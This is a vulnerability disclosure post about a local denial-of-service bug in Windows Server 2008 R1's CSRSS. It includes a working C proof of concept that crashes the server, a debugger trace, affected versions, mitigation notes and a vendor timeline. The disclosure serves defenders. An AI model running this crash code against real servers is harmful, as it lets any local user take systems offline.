Hi all.
Here's a cute little local DoS attack against Windows Server 2008 R1,
which will allow any user who can execute unprivileged code to BSoD
your server with about three lines of C.
I have reported this to Microsoft, but because of the limited scope of
the issue - DoS-only, and server 2008 R1, as opposed to R2 - they
declined to put out a security bulletin. Note that, as far as I can
tell, upgrades from R1 to R2 are for-pay unless you bought R1 with
Software Assurance originally, and additionally, that R2 does not
support 32-bit hardware.

I originally informed the vendor ten months ago, and their response
was that, due to the DoS-only and R1-only circumstance, this problem
"would be a candidate for inclusion in a future service pack update
should one be released on the affected platforms". Perhaps naively, I
then expected this to be fixed via a service pack, which has not
transpired since then. Since the issue is so straightforward to
reproduce (I refuse to believe that no-one else has found this), I
have decided to disclose the issue publically in order to assist and
remaining owners of 2008 R1 in securing their boxes.

The best way to explain the issue is with an example exploit:

int main(int argc, char *argv[])
{
    DWORD foo;
    char stuff[10];

    CloseHandle(GetStdHandle(STD_OUTPUT_HANDLE ));
    CloseHandle(GetStdHandle(STD_ERROR_HANDLE ));

    ReadConsole(GetStdHandle( STD_INPUT_HANDLE ), stuff, 5, &foo, NULL);
}

Kapow - it's that simple. Close stdout and stderr, and read from
stdin. Any of the other functions which do this can be used (cygwin,
for example, can be used with it's standard C calls which eventually
call CloseHandle). Anyway, if you run that on a server 2008 R1 box you
will bluescreen! Further investigaion reveals a null deref in CSRSS:

 *** An Access Violation occurred in C:\Windows\system32\csrss.exe
 ..
 The instruction at 756DB6A1 tried to write to an invalid address, 0000000C

 eax=015c0da8 ebx=00000000 ecx=00000000 edx=015c14a8 esi=00000000 edi=015c0dc8
 eip=756db6a1 esp=0083f5d0 ebp=0083f6a0 iopl=0         nv up ei pl zr
 na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010246

 WARNING: Process directory table base 1F187040 doesn't match CR3
 1F187360
 001b:756db6a1 ff460c          inc     dword ptr [esi+0Ch]
ds:0023:0000000c=????????

 756db6a1 ff460c          inc     dword ptr [esi+0Ch]
 756db6a4 8b8d54ffffff    mov     ecx,dword ptr [ebp-0ACh]
 756db6aa 898570ffffff    mov     dword ptr [ebp-90h],eax
 756db6b0 8a8059010000    mov     al,byte ptr [eax+159h]
 756db6b6 8845b3          mov     byte ptr [ebp-4Dh],al
 756db6b9 8a471c          mov     al,byte ptr [edi+1Ch]
 756db6bc 66834da4ff      or      word ptr [ebp-5Ch],0FFFFh
 756db6c1 66834da6ff      or      word ptr [ebp-5Ah],0FFFFh

 ChildEBP RetAddr  Args to Child
 0083f6a0 756dbd5e 015c0dc8 015c0da8 002a0058 winsrv!ReadChars+0x3c2
 0083f6f8 757359e4 015c0da8 0083f80c 945f0621 winsrv!SrvReadConsole+0x102
 0083f86c 76f77ca3 00000000 7781fc7b 00000000 CSRSRV!CsrApiRequestThread+0x3b1
 0083f8ac 76f9e489 75735633 00000000 ffffffff ntdll!__RtlUserThreadStart+0x35
 0083f8c4 00000000 75735633 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b

Sample bugcheck output:

*** STOP: 0x000000F4 (0x00000003, 0x84B92020, 0x84B9216C, 0x81C71A60)

Confirmed vulnerable:

* Windows server 2008 r1

Confirmed not vulnerable (some by MS, some by me):

* Server 2008 r2
* Windows 7
* XP, 2003, 2003 r2
* Pretty much all the other MS OS's.

Mitigation:

I have no idea. If your environment allows it, do not enable users to
run any user-supplied code (although if that's possible, then you've
probably already taken steps to prevent this). Alternatively, upgrade
to R2 (or, indeed, anything other that 2008 R1) if possible. If you
are annoyed that this circumstance requires an upgrade, shout at MS.

Microsoft supplied the following when asked if they were aware of any
mitigations:
"An attacker must have valid logon credentials and be able to log on
locally to exploit this vulnerability. The vulnerability could not be
exploited remotely or by anonymous users."

Timeline:

* July 15, 2010 : Contacted vendor
* July 15, 2010 : Got initial vendor response, assured that a named
staff member would contact me
* October 26, 2010 : Emailed vendor asking for a status update
* October 26, 2010 : Got vendor response, apologies for delay
* October 26, 2010 to November 2, 2010 : Some discussion, culminating
with the vendor's decision that no bulletin would be issued but maybe
a service pack someday
* September 3, 2011 : Some time has passed without a patch; emailed
vendor asking for update
* September 6, 2011 : Vendor responds by reiterating their previous position
* September 6, 2011 : Public disclosure